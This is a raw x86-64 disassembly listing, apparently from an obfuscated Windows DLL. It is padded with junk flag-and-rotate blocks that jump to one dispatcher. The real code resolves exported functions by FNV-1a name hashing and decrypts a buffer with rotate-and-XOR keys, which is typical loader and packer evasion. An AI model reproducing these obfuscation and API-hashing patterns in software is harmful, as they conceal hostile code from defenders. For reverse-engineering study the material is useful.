not eax
add eax, 0xd9746cf5
xor eax, 0xc5ebfb34
rol eax, 0xd0
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x180028f5f
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x47eff862
pushf
not eax
add eax, 0xdb11d804
xor eax, 0xbbce7347
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xa76f7182
xor eax, 0xb6053d4b
rol eax, 0x66
popf
pushf
not eax
add eax, 0x9537bfe7
xor eax, 0xf9dfaf8d
rol eax, 0xe9
popf
jmp 0x180025dca
mov r8d, 0xa4b400dd
pushf
not r8d
add r8d, 0xad16e769
xor r8d, 0x9b30dd2f
rol r8d, 0xa
popf
pushf
not r8d
add r8d, 0xf456b146
xor r8d, 0xa8057847
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0x96a311a1
xor r8d, 0x9b5aa796
rol r8d, 0xd9
popf
push rax
pushf
mov eax, 0x9e6aa311
pushf
not eax
add eax, 0xc6a6ea94
xor eax, 0xfbf67f7f
rol eax, 0x30
popf
pushf
not eax
add eax, 0xe911ce7e
xor eax, 0xcc13fab2
rol eax, 0x86
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0x9efbe193
je 0x180028f3f
push rax
pushf
mov eax, 0xd5d0c881
pushf
not eax
add eax, 0xbfbcc04f
xor eax, 0xbb897f91
rol eax, 0x48
popf
pushf
not eax
add eax, 0x8f01f712
xor eax, 0x9a582b29
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xd436d859
xor eax, 0xb2e541a2
rol eax, 0x10
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x251af692
pushf
not eax
add eax, 0xb10fefc9
xor eax, 0x8bf18936
rol eax, 0xb4
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x180028f8c
push rax
pushf
mov eax, 0xdc47dc22
pushf
not eax
add eax, 0x8ca6fd37
xor eax, 0xb05ea514
rol eax, 0x76
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x981ad2af
pushf
not eax
add eax, 0x867ad021
xor eax, 0xee5febf1
rol eax, 0x7a
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180029020
push rax
pushf
mov eax, 0x490cacea
pushf
not eax
add eax, 0x929b64cf
xor eax, 0xcf8ea9a0
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc1b4ca25
xor eax, 0xea055b06
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xd5b1384a
xor eax, 0xcfa44c9c
rol eax, 0x5b
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x14783a46
pushf
not eax
add eax, 0xa7f91888
xor eax, 0x9840de41
rol eax, 0xab
popf
jmp 0x180025dca
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x4be1842
pushf
not r9d
add r9d, 0xb68a2411
xor r9d, 0xe3d6e1be
rol r9d, 0x9a
popf
pushf
not r9d
add r9d, 0xccdc12c9
xor r9d, 0x8901fb69
rol r9d, 0x1c
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xcd6ff4a7
pushf
not eax
add eax, 0x83473d92
xor eax, 0xb5d78eea
rol eax, 0x37
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1800290f4
push rax
pushf
mov eax, 0x2f51133e
pushf
not eax
add eax, 0xe1291a2d
xor eax, 0xd5d806ee
rol eax, 0x88
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x2e51fa61
pushf
not eax
add eax, 0xec8831f5
xor eax, 0x9414b0f6
rol eax, 0x38
popf
pushf
not eax
add eax, 0xf0c303be
xor eax, 0x8b98e22e
rol eax, 0x1d
popf
jmp 0x180025dca
jmp 0x180028ee9
mov qword [rsi + 8], rax
push rax
pushf
mov eax, 0xd546ad8
pushf
not eax
add eax, 0x8d680c03
xor eax, 0x8015c12a
rol eax, 0x54
popf
jmp 0x180025dca
mov rdx, qword [rsi]
movsxd rax, dword [rsi + 0x10]
dec rax
lea rcx, [rax + rax*2]
mov r8, qword [rsi + rcx*8 + 0x28]
mov r9, qword [rsi + rcx*8 + 0x18]
mov dword [rsi + 0x10], eax
test r9, r9
je 0x1800291da
push rax
pushf
mov eax, 0x8302d9ee
pushf
not eax
add eax, 0xc2d1e427
xor eax, 0xb25d4e4c
rol eax, 0x29
popf
pushf
not eax
add eax, 0xbe5c47ae
xor eax, 0xf10a7920
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xdfa291a9
xor eax, 0xab3461cf
rol eax, 0xb6
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xa54caf4f
pushf
not eax
add eax, 0x93ceddce
xor eax, 0x8153c5f2
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x97366fd7
xor eax, 0xd0f856e1
rol eax, 0x54
popf
jmp 0x180025dca
lea r10, [r8 + 4]
cdqe
lea rcx, [rax + rax*2]
mov rax, qword [rsi + rcx*8 + 0x20]
mov r11, qword [rsi + rcx*8 + 0x28]
mov ecx, eax
mov edi, edx
mov ebx, eax
sub ebx, edx
mov ecx, r11d
mov edi, r10d
sub edi, r11d
add edi, 4
mov ecx, edi
mov edi, ebx
rol edi, cl
cmp edi, dword [r8 + 4]
je 0x180029265
push rax
pushf
mov eax, 0x445a8b1
pushf
not eax
add eax, 0xaa0ad3d2
xor eax, 0xa5c48b20
rol eax, 0x56
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xd0886f5c
pushf
not eax
add eax, 0x89b2bb58
xor eax, 0xb92a4b91
rol eax, 0x60
popf
jmp 0x180025dca
xor ecx, ecx
mov rdi, rax
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xb88ab7e5
pushf
not eax
add eax, 0xd32fcc75
xor eax, 0xcd853965
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x877c6474
xor eax, 0xc94107f3
rol eax, 0x4c
popf
jmp 0x180025dca
mov r11, rdi
mov rdi, rcx
mov eax, edi
mov rbx, qword [r11 + rcx]
mov qword [r9 + rcx], rbx
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov ecx, dword [rsi + rcx*8 + 0x20]
mov r11d, edx
sub ecx, edx
ror rbx, cl
mov qword [r9 + rdi], rbx
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov r14, qword [rsi + rcx*8 + 0x20]
mov rcx, qword [rsi + rcx*8 + 0x28]
sub rcx, rdx
mov r15, rcx
mov ecx, edi
ror r15, cl
sub r14, rdx
mov ecx, r15d
rol r14, cl
xor r14, rbx
mov qword [r9 + rdi], r14
mov rax, rdi
add rax, 8
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov rbx, qword [rsi + rcx*8 + 0x20]
mov rcx, qword [rsi + rcx*8 + 0x28]
mov rdi, rbx
mov ebp, ebx
sub ebp, edx
mov r11, rcx
mov ebx, r10d
sub ebx, ecx
add ebx, 4
mov ecx, ebx
mov ebx, ebp
rol ebp, cl
xor ebp, dword [r10]
mov r14d, ebp
mov rcx, rax
cmp rax, r14
jb 0x18002937f
push rax
pushf
mov eax, 0xc2b52e91
pushf
not eax
add eax, 0xad6a937d
xor eax, 0xeab564de
rol eax, 0xc1
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xa7ae801
pushf
not eax
add eax, 0xe4e51273
xor eax, 0xda6cba71
rol eax, 0x14
popf
jmp 0x180025dca
mov eax, r11d
mov ecx, r8d
sub ecx, r11d
add ecx, 4
rol ebx, cl
mov eax, ebx
xor eax, dword [r8]
cmp eax, 2
jb 0x180029401
push rax
pushf
mov eax, 0x421f9fc
pushf
not eax
add eax, 0xfe9f21dc
xor eax, 0xbda9d01e
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xdda42c44
xor eax, 0xcc0abc40
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xae20a4d0
xor eax, 0x95425488
rol eax, 0x1c
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x4c90bf06
pushf
not eax
add eax, 0x9ce1680c
xor eax, 0xce4ffee0
rol eax, 0x74
popf
pushf
not eax
add eax, 0xad337fe0
xor eax, 0x96e08efc
rol eax, 0x40
popf
pushf
not eax
add eax, 0xcbfb0359
xor eax, 0xc9c1f042
rol eax, 0xc7
popf
jmp 0x180025dca
mov eax, eax
shl rax, 4
add rax, 0xfffffffffffffff0
xor r10d, r10d
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x857f5172
pushf
not eax
add eax, 0x8b7ae1f8
xor eax, 0xb7b7f306
rol eax, 0x25
popf
pushf
not eax
add eax, 0xf69b865f
xor eax, 0xad6315e8
rol eax, 0x30
popf
jmp 0x180025dca
lea rcx, [r8 + r10]
movsxd r11, dword [rsi + 0x10]
lea r14, [r11 + r11*2]
mov edi, dword [rsi + r14*8 + 0x20]
mov r11d, edx
sub edi, edx
mov ebx, ecx
sub ebx, dword [rsi + r14*8 + 0x28]
mov r14d, ebx
mov ecx, ebx
add ecx, 0x20
mov ebp, edi
mov r15d, edi
rol r15d, cl
mov r12d, ebx
mov r13d, edi
lea ecx, [r14 + 0x14]
xor r15d, dword [r8 + r10 + 0x1c]
rol ebp, cl
lea ecx, [r12 + 0x1c]
xor ebp, dword [r8 + r10 + 0x10]
rol r13d, cl
xor r13d, dword [r8 + r10 + 0x18]
push rdx
not edx
sub r15d, edx
pop rdx
sub r15d, 1
mov ecx, r9d
push r9
not r9d
sub ebp, r9d
pop r9
sub ebp, 1
push r13
not r13d
sub ebp, r13d
pop r13
sub ebp, 1
sub r15d, ebp
add ebx, 0x18
mov ecx, ebx
rol edi, cl
xor edi, dword [r8 + r10 + 0x14]
mov ecx, edi
mov dword [r9 + rcx], r15d
mov rcx, r10
add rcx, 0x10
mov r10, rcx
cmp rax, rcx
jne 0x180029565
push rax
pushf
mov eax, 0x6766d33d
pushf
not eax
add eax, 0xadf71597
xor eax, 0x9d7ad715
rol eax, 0xee
popf
pushf
not eax
add eax, 0xdef296ef
xor eax, 0x999f5ff9
rol eax, 0x23
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x7184a6ba
pushf
not eax
add eax, 0xdd982f37
xor eax, 0xba907ba7
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xa07d7644
xor eax, 0xd9dd21c1
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xda136d25
xor eax, 0xe59a0c3a
rol eax, 0x59
popf
jmp 0x180025dca
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret